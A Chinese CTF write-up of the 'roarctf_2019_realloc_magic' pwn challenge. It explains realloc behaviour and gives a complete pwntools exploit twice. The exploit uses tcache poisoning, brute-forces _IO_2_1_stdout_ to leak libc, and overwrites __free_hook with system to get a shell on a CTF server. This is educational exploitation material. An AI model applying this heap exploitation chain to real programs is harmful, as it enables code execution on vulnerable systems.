这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚

例行检查我就不放了

讲程序放入ida中

比较简单的流程,没有show功能,所有我们需要通过爆破stdout这个函数来获得libc

我先放上我学习的俩位师傅的博客

(16条消息) BUUCTF-PWN roarctf_2019_realloc_magic(tcache attack,块重叠,劫持_IO_2_1_stdout_泄露libc)_L.o.W的博客-CSDN博客

好好说话之Tcache Attack(1):tcache基础与tcache poisoning_hollk’s blog-CSDN博客 这个博客重点看tcache poisoning部分

然后我先放上realloc的四种不同的用法

realloc的几个特殊用法(摘自官方WP)

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
然后我将完整的exp放在下面进行一步步的分析

------------------------------------------------------------------------------------------------------------------EXP-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

from pwn import *
#p = process('./pwn1')

elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')

def launch_gdb():
  context.terminal = ['xfce4-terminal','-x','sh','-c']
  gdb.attach(proc.pidof(p)[0])

def add(size,content):
  p.sendlineafter('>> ','1')
  p.sendlineafter('Size?\n',str(size))
  p.sendafter('Content?\n',content)

def free():
  p.sendlineafter('>>','2')

def ba():
  p.sendlineafter('>>','66i6')

def pwn():

  add(0x70,'a')
  add(0,'')
  add(0x100,'a')
  add(0,'')
  add(0xa0,'a')
  add(0,'')    #这里我们申请了四个不同大小的chunk 然后将它们释放掉

  add(0x100,'b')      #然后将chunk2申请回来

  [free() for i in range(7)]   #通过for循环填满tcache的7个chunk块
  add(0,'')         #将申请回来的chunk2释放掉,注意释放掉的chunk将放入unsortedbin里面 (这里会出现mare的地址)

  add(0x70,'a')       #我们将chunk1申请回来
  add(0x180,b'c'*0x78+p64(0x41)+b'\x60\x87')  #我们申请了一个0x180大小的chunk,刚好是chunk1和chunk2加起来的大小,相当于edit将泄露出的地址后面覆盖为了6087去爆破_IO_2_1_stdout的位置

  add(0,'')                  #我们将chunk释放掉(会进入unsortedbin的链表里面)

  add(0x100,'a')                #我们将chunk2申请回来,注意这个chunk是从tcache里面申请的,fd已经是stdout的位置了
  add(0,'')                  #我们将chunk2释放掉,但是因为这个chunk的大小我们已经改成了0x41大小了,所以这个chunk会放在新的tcache的队列里面,所以0x110的队列就留下了fd的指针,又因为fd指向的是stdout的地址所以我们在申请一个chunk就能申请到相应的地址上面了

  add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))  #在这里我们申请到了stdout的位置 下面获得libc

  libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 #0x3e82a0这个值是减去vmmap的里面相应的值

  if libc_base == -0x3e82a0: if判断形成自动化
    exit(-1)
  print('libc_base:'+hex(libc_base))

  free_hook = libc_base + libc.sym['__free_hook']
  onegadget = libc_base + 0xf4322
  system = libc_base + libc.sym['system']
  p.sendline('666')
  add(0x120,'a')
  add(0,'')
  add(0x130,'a')
  add(0,'')
  add(0x170,'a')
  add(0,'')

  add(0x130,'a')     和上面泄露libc的同理由
  [free() for i in range(7)]
  add(0,'')
  add(0x120,'a')
  add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
  add(0,'')
  add(0x130,'a')
  add(0,'')
  add(0x130,b'/bin/sh\x00'+p64(system))
  free()

  p.interactive()
if __name__ == "__main__":
  while True:
#p = process('./pwn1')
    p = remote('node4.buuoj.cn',28076)
    try:
      pwn()
    except:
      p.close()

------------------------------------------------------------------------------------------------------------------------------------------------------------结束-------------------------------------------------------------------------------------------------------------------------------------------------------

这道题是一个非常好的题目,希望可以多多复习一下,能认真的去理解和调试一下

完整exp

from pwn import *
#p = process('./pwn1') elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('Size?\n',str(size))
p.sendafter('Content?\n',content) def free():
p.sendlineafter('>>','2') def ba():
p.sendlineafter('>>','66i6') def pwn(): add(0x70,'a')
add(0,'')
add(0x100,'a')
add(0,'')
add(0xa0,'a')
add(0,'') add(0x100,'b') [free() for i in range(7)]
add(0,'') add(0x70,'a')
add(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87)) add(0,'')
add(0x100,'a')
add(0,'') add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 if libc_base == -0x3e82a0:
exit(-1)
print('libc_base:'+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook']
onegadget = libc_base + 0xf4322
system = libc_base + libc.sym['system']
p.sendline('666')
add(0x120,'a')
add(0,'')
add(0x130,'a')
add(0,'')
add(0x170,'a')
add(0,'') add(0x130,'a')
[free() for i in range(7)]
add(0,'')
add(0x120,'a')
add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
add(0,'')
add(0x130,'a')
add(0,'')
add(0x130,b'/bin/sh\x00'+p64(system))
free() p.interactive()
if __name__ == "__main__":
while True:
#p = process('./pwn1')
p = remote('node4.buuoj.cn',28076)
try:
pwn()
except:
p.close()

结束

tcache poisoning(爆破stout获得libc并且熟练使用了realloc)的更多相关文章

  1. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  2. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  3. BIT 常态化在线CTF系统 pwn题目

    偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...

  4. Pwn Heap With Tcache

    Pwn Heap With Tcache 前言 glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 .加入 tcache 对性能有比较大的提升,不过由于 tcach ...

  5. Oracle TNS Listener Remote Poisoning

    Oracle TNS Listener Remote Poisoning 远程数据投毒漏洞(CVE-2012-1675) 1.漏洞简介: 允许攻击者在不提供用户名/密码的情况下,向远程“TNS Lis ...

  6. 常见寄存器以及常见汇编指令,常见爆破指令 good

    CPU的任务就是执行存放在存储器里的指令序列.为此,除要完成算术逻辑操作外,还需要担负CPU和存储器以及I/O之间的数据传送任务.早期的CPU芯片只包括运算器和控制器两大部分.到了近几年,为了使存储器 ...

  7. de1ctf_2019_weapon(爆破_IO_2_1_stdout)

    (这是我真正意义上的完完全全自己做的第一道堆题目,虽然花了快三个小时,谨以此篇纪念一下) 题目的例行检查我就不放了,将程序放入ida中 程序的逻辑十分简单,漏洞也非常明显 重点是这个程序没有给我们sh ...

  8. ubuntu进行子域名爆破

    好记性不如烂笔头,此处记录一下,ubuntu进行子域名的爆破. 先记录一个在线的子域名爆破网址,无意中发现,很不错的网址,界面很干净,作者也很用心,很感谢. https://phpinfo.me/do ...

  9. 快来熟练使用 Mac 编程

    熟练使用工具,可以提高一个人的做事效率- 1. iTerm2快捷键使用 ⌘ + d: 垂直分屏,⌘ + shift + d: 水平分屏. ⌘ + ]和⌘ + [在最近使用的分屏直接切换.而⌘ + op ...

随机推荐

  1. [luogu7476]苦涩

    维护线段树,在其每一个节点上维护一个set(可重),以及子树内所有set的最大值 考虑下传标记,如果将所有元素全部下传复杂度显然不正确,但注意到我们仅关心于其中的最大值,即仅需要将最大值下传即可 其有 ...

  2. [bzoj1115]石子游戏

    考虑令$bi=ai-a_{i-1}$,那么每一次操作相当于让$bi-=x$且$b_{i+1}+=x$,相当于从i向i+1移动x个石子,那么容易发现偶数堆没有用处,因为另一方可以用同样的操作,因此问题相 ...

  3. littlevgl架构浅析

    一.   littlevgl有几个线程,作用是什么? 三个,主线程一个,和在主线程的hal_init函数中创建的另两个sdl线程. 主线程完成一系列初始化工作后,循环每10ms调用在lv_init函数 ...

  4. IPv6 寻址方式简介

     在计算机网络中,寻址模式是指在网络上托管地址的机制.IPv6 提供了多种类型的模式,可以通过这些模式对单个主机进行寻址.也可以同时对多个主机进行寻址或者寻址最近距离的主机. 单播寻址 在单播寻址方式 ...

  5. 目前国内UI设计师的发展现状如何?

    在分析这个问题之前,我们先来说说如何优秀的UI设计师所需要具备的素质是什么,只有做到了以下几点,才有资格在这个行业生存下去的能力,也才有机会展望行业的未来前景. 一位合格的UI设计师必须做到以下3点: ...

  6. [Noip 2018][标题统计 龙湖斗 摆渡车 对称二叉树]普及组题解

    啊喂,都已经9102年了,你还在想去年? 这里是一个Noip2018年PJ第二题打爆的OIer,错失省一 但经过了一年,我学到了很多,也有了很多朋友,水平也提高了很多,现在回看当时: 今年的Noip ...

  7. Codeforces 690A2 - Collective Mindsets (medium)

    Codeforces 题面传送门 & 洛谷题面传送门 一道脑筋急转弯的结论题. 首先我们考虑对于某个特定的金币数 \(m\),有哪些 \(n\) 满足条件.考虑最 naive 的情况,\(m= ...

  8. Codeforces 1500E - Subset Trick(线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 一道线段树的套路题(似乎 ycx 会做这道题?orzorz!!11) 首先考虑什么样的 \(x\) 是"不合适"的,我 ...

  9. fatal error: runtime: out of memory

    [root@VM_0_10_centos frp_0.27.0_linux_amd64]# top top - 21:09:19 up 2 days, 4 min, 2 users, load ave ...

  10. STM32驱动直流电机的程序与电路设计(IR2110S自举电路+H桥+高级定时器和死区PWM)

    https://blog.csdn.net/geek_monkey/article/details/82079435